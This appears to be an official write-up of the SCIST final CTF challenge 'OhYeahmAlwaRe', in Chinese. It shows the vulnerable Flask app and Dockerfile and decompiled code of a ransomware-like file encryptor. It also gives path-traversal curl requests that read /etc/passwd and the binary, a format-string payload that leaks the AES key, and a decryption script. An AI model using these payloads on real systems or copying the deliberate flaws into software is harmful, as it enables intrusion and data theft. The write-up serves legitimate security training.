SCIST final CTF：OhYeahmAlwaRe Official-Writeup

首先先讀一下題述，這怪怪的 web,rev,crypto,pwn 的 tag 相信~~嚇了不少人~~，但其實大部分漏洞都很裸，只要會一點基本概念的話~~搭配 AI~~一定解的出來 XD

先觀察一下

app.py

1
from flask import Flask, request, jsonify, send_file,render_template
2
import base64
3
import subprocess
4
import os
5

6
app = Flask(__name__)
7
app.static_folder = 'static'
8
OhYeahmAlwaRe = "./OhYeahmAlwaRe"
9

10
def init_OhYeahmAlwaRe():
11
    subprocess.run([OhYeahmAlwaRe, "Oh", "Yeah", "CRY"], check=True)
12
    return "Initialization complete ✅"
13

14
@app.route('/hacker_image', methods=['GET'])
15
def hacker_image():
16
    image = request.args.get('hacker')
17
    if not image:
18
        return {"error": "No hacker parameter"}, 400
19

20
    file_path = os.path.join(os.getcwd(), "static", "hacker", image)
21

22
    return send_file(file_path, mimetype='image/png')
23

24
@app.route('/version',methods=['GET'])
25
def version():
26
    author = request.args.get('author')
27
    if author:
28
        try:
29
            res = subprocess.run([OhYeahmAlwaRe, author],capture_output=True, text=False, check=True)
30
            encoded = base64.b64encode(res.stdout).decode()
31
            return jsonify({"response": encoded})
32
        except subprocess.CalledProcessError as e:
33
            return jsonify({"error": "Internal Server Error"}), 500
34
    return jsonify({"error": "No author provided"}), 400
35

36
@app.route('/', methods=['GET'])
37
def index():
38
    return render_template('index.html')
39

40

41
if __name__ == '__main__':
42
    init_OhYeahmAlwaRe()
43
    app.run(host='0.0.0.0', port=31614, debug=False)

Dockerfile

1
FROM ubuntu:22.04
2

3
ARG SEC_DIR
4
ARG FLAG
5

6
RUN apt-get update && apt-get install -y \
7
    gcc \
8
    libssl-dev \
9
    python3 \
10
    python3-pip \
11
    xxd \
12
    && rm -rf /var/lib/apt/lists/*
13

14
RUN useradd -m ctfuser
15

16
WORKDIR /app/${SEC_DIR}
17

18
COPY ./templates ./templates
19
COPY OhYeahmAlwaRe.c ./
20
COPY ./static ./static
21

22
RUN gcc OhYeahmAlwaRe.c -o OhYeahmAlwaRe -lcrypto
23

24
RUN head -c 32 /dev/urandom | xxd -p -c 64 > /root/sec.key && chmod 400 /root/sec.key
25

26
RUN chown root:root OhYeahmAlwaRe && chmod 4755 OhYeahmAlwaRe
27

28
COPY app.py ./app.py
29

30
RUN python3 -m pip install flask
31
RUN rm OhYeahmAlwaRe.c
32

33
RUN echo "$FLAG" > /home/flag.txt
34

35
EXPOSE 31614
36

37
USER ctfuser
38

39
CMD ["python3", "app.py"]

從這邊可以觀察到幾件事情

伺服器一開始會啟動 OhYeahmAlwaRe 去初始化整個環境
/hacker_image 的功能有 LFI 可以讓你下載檔案
/version 可以讓你和 OhYeahmAlwaRe 互動
/root 底下有一個奇怪的 key, 但利用 LFI 讀取不了（權限不夠）

不過竟然可以下載檔案的話！那不就水題直接把 flag.txt 載下來就好？！

flag.txt

1
curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../home/flag.txt" --path-as-is -o ./flag.txt
2
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
3
                                 Dload  Upload   Total   Spent    Left  Speed
4
100    80  100    80    0     0   2132      0 --:--:-- --:--:-- --:--:--  2162
5

6
cat flag.txt
7
λp��;Xì{%OS�����CڑFi
8
 '|U?$V�?w%

竟然是奇怪的亂碼，我們來載一下其他的檔案看看

/etc/passwd

1
curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../etc/passwd" --path-as-is -o ./passwd
2
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
3
                                 Dload  Upload   Total   Spent    Left  Speed
4
100   976  100   976    0     0  26795      0 --:--:-- --:--:-- --:--:-- 27111
5

6
cat passwd
7
!:d5�)�P�itM�m֖l){q��,r%g�L�*NƦqt%;e�#{�U��oC_�y�3__sH��C<�2FD;9]c:N)^wҩٗ/k
8
F�\ش��еVIzҦt{V�-��ւ�-�es}ʾKܭ�1$"�/�´]P�|K�/u_2�n`0׾�ߟN:)"7'g#͇��8�:@[gY�  �d�xv˧O�� "�g�y*#+Zq��,�
9
�"�'��etSHP��h
10
              �N�ψ'g-���8 �%�jc^��z�7,a[OPONs{x
11
                                               k¯H�֥Si��cAMben@u@@6���\^qPz?9ώץ�0�㈌����1�
12
��lR��1�tU�Wlʎhڹם}Ù7)���]��%D1�dqQˬxe�X{Kxi}!���                                         e#�
13
                                                P7q�PQ�4Wo�V#ڔ�F;H_��.C$��І=yc�(@��A  ,MnL�������Q��c(4*ډ�>]ߎ"1רn��pkR
14
                                                                                                                        ���h0�wڤ̇u  /!2�G�ǐ�Y(�ǭZ�߀!,햱��J���]T�ǀ%

也是相同的結果，會不會其實所有檔案都被加密了？那我們把最奇怪的 OhYeahmAlwaRe 下載來分析一下吧！

但這邊有個技巧，在 Dockerfile 中你不知道 OhYeahmAlwaRe 跑的確切位置，但你可以用一個特別的路徑 /proc/self/cwd 去訪問到 web server 當前跑的目錄！！

1
curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../proc/self/cwd/OhYeahmAlwaRe" --path-as-is -o ./OhYeahmAlwaRe
2
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
3
                                 Dload  Upload   Total   Spent    Left  Speed
4
100 17248  100 17248    0     0   388k      0 --:--:-- --:--:-- --:--:--  391k

好耶！我們直接開 IDA 來分析吧！

main

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  FILE *stream; // [rsp+10h] [rbp-40h]
4
  FILE *v5; // [rsp+18h] [rbp-38h]
5
  _BYTE v6[40]; // [rsp+20h] [rbp-30h] BYREF
6
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]
7

8
  v7 = __readfsqword(0x28u);
9
  if ( argc == 4 && !strcmp(argv[1], "Oh") && !strcmp(argv[2], "Yeah") && !strcmp(argv[3], "CRY") )
10
  {
11
    stream = fopen("/root/sec.key", "r");
12
    if ( stream )
13
    {
14
      fread(&key_hex, 1uLL, 0x40uLL, stream);
15
      byte_4080 = 0;
16
      fclose(stream);
17
      hex_to_bytes(&key_hex, v6, 32LL);
18
      encrypt_all_files((__int64)v6);
19
      return 0;
20
    }
21
    else
22
    {
23
      return 1;
24
    }
25
  }
26
  else if ( argc == 2 )
27
  {
28
    v5 = fopen("/root/sec.key", "r");
29
    if ( v5 )
30
    {
31
      fread(&key_hex, 1uLL, 0x40uLL, v5);
32
      byte_4080 = 0;
33
      fclose(v5);
34
      hex_to_bytes(&key_hex, v6, 32LL);
35
      show_author(argv[1]);
36
      return 0;
37
    }
38
    else
39
    {
40
      return 1;
41
    }
42
  }
43
  else
44
  {
45
    return 1;
46
  }
47
}

首先可以看到他主要有兩個功能，當使用 ./OhYeahmAlwaRe Oh Yeah CRY 的時候看起來會加密檔案，讓我們追進去看看他怎麼做的！

encrypt_all_files

1
unsigned __int64 __fastcall encrypt_all_files(__int64 a1)
2
{
3
  DIR *dirp; // [rsp+10h] [rbp-1020h]
4
  struct dirent *v3; // [rsp+18h] [rbp-1018h]
5
  char s[16]; // [rsp+20h] [rbp-1010h] BYREF
6
  unsigned __int64 v5; // [rsp+1028h] [rbp-8h]
7

8
  v5 = __readfsqword(0x28u);
9
  dirp = opendir("/");
10
  if ( dirp )
11
  {
12
    while ( 1 )
13
    {
14
      v3 = readdir(dirp);
15
      if ( !v3 )
16
        break;
17
      if ( strcmp(v3->d_name, ".") )
18
      {
19
        if ( strcmp(v3->d_name, "..") )
20
        {
21
          snprintf(s, 0x1000uLL, "/%s", v3->d_name);
22
          if ( !(unsigned int)should_skip_path(s) )
23
            encrypt_file(s, a1);
24
        }
25
      }
26
    }
27
    closedir(dirp);
28
  }
29
  return v5 - __readfsqword(0x28u);
30
}

這邊就是在選定幾乎所有檔案然後去加密

encrypt_file

1
unsigned __int64 __fastcall encrypt_file(const char *a1, __int64 a2)
2
{
3
  __int64 v2; // rax
4
  __int64 i; // [rsp+18h] [rbp-11E8h]
5
  FILE *stream; // [rsp+20h] [rbp-11E0h]
6
  __int64 n; // [rsp+28h] [rbp-11D8h]
7
  __int64 size; // [rsp+30h] [rbp-11D0h]
8
  void *ptr; // [rsp+38h] [rbp-11C8h]
9
  void *v9; // [rsp+40h] [rbp-11C0h]
10
  FILE *v10; // [rsp+48h] [rbp-11B8h]
11
  DIR *dirp; // [rsp+50h] [rbp-11B0h]
12
  struct dirent *v12; // [rsp+58h] [rbp-11A8h]
13
  stat buf; // [rsp+60h] [rbp-11A0h] BYREF
14
  char s[16]; // [rsp+1F0h] [rbp-1010h] BYREF
15
  unsigned __int64 v15; // [rsp+11F8h] [rbp-8h]
16

17
  v15 = __readfsqword(0x28u);
18
  if ( !(unsigned int)should_skip_path(a1) && lstat(a1, &buf) != -1 )
19
  {
20
    if ( (buf.st_mode & 0xF000) == 0x4000 )
21
    {
22
      dirp = opendir(a1);
23
      if ( dirp )
24
      {
25
        while ( 1 )
26
        {
27
          v12 = readdir(dirp);
28
          if ( !v12 )
29
            break;
30
          if ( strcmp(v12->d_name, ".") )
31
          {
32
            if ( strcmp(v12->d_name, "..") )
33
            {
34
              snprintf(s, 0x1000uLL, "%s/%s", a1, v12->d_name);
35
              if ( !(unsigned int)should_skip_path(s) )
36
                encrypt_file(s, a2);
37
            }
38
          }
39
        }
40
        closedir(dirp);
41
      }
42
    }
43
    else if ( (buf.st_mode & 0xF000) == 0x8000 )
44
    {
45
      stream = fopen(a1, "rb");
46
      if ( stream )
47
      {
48
        fseek(stream, 0LL, 2);
49
        n = ftell(stream);
50
        rewind(stream);
51
        if ( n )
52
        {
53
          v2 = n + 15;
54
          if ( n + 15 < 0 )
55
            v2 = n + 30;
56
          size = 16 * (v2 >> 4);
57
          ptr = calloc(1uLL, size);
58
          fread(ptr, 1uLL, n, stream);
59
          fclose(stream);
60
          v9 = malloc(size);
61
          AES_set_encrypt_key();
62
          for ( i = 0LL; i < size; i += 16LL )
63
            AES_ecb_encrypt();
64
          v10 = fopen(a1, "wb");
65
          if ( v10 )
66
          {
67
            fwrite(v9, 1uLL, size, v10);
68
            fclose(v10);
69
          }
70
          free(ptr);
71
          free(v9);
72
        }
73
        else
74
        {
75
          fclose(stream);
76
        }
77
      }
78
    }
79
  }
80
  return v15 - __readfsqword(0x28u);
81
}

這邊主要是實作的地方，可以看到他是用 AES-ECB-256 加密的（可以從前面看到他讀進來的金鑰是 32 位元）。

另外在只有給定一個參數時，有一個很明顯的 fmt 漏洞，所以我們的目標就很明確了，可以利用這個 fmt 漏洞去 leak 我們的 key.

可以使用 gdb 去看 stack 上的位置或是有人暴力炸也可以！

透過 /version 就可以去跟 binary 互動了。

1
%2514$p%20%2515$p%20%2516$p%20%2517$p
2

3
Powered by
4
0xc1c767de2b0fd95b 0x8d578ad7879f4133 0x57ca5c137fba6298 0x350e39b09bc06a3e

我們可以用這個 payload 去 leak 出 key （% 記得要 url encode 成 %25 不然會壞掉）

最後就寫腳本解回來就好了！

1
from Crypto.Cipher import AES
2

3
def flag():
4
    key_parts = [
5
        0xc1c767de2b0fd95b,
6
        0x8d578ad7879f4133,
7
        0x57ca5c137fba6298,
8
        0x350e39b09bc06a3e
9
    ]
10

11
    key = b''
12
    for part in key_parts:
13
        key += part.to_bytes(8, 'little')
14
    enc = './flag.txt'
15

16
    with open(enc, 'rb') as f:
17
        ciphertext = f.read()
18
    cipher = AES.new(key, AES.MODE_ECB)
19

20
    print(cipher.decrypt(ciphertext).decode())
21

22
if __name__ == '__main__':
23
    flag()

1
python3 de.py
2
SCIST{UNLe55_KEY_s000Ar_E45y_I_WILl_4dd_M0Re_cRyP70_Nex7_7ImE-!.maybe.+_+}

SCIST{UNLe55_KEY_s000Ar_E45y_I_WILl_4dd_M0Re_cRyP70_Nex7_7ImE-!.maybe.+_+}

Thanks for reading!

SCIST final CTF：OhYeahmAlwaRe Official-Writeup

周四 9月 25 2025

1382 字 · 12 分鐘

ctfs scist official-writeup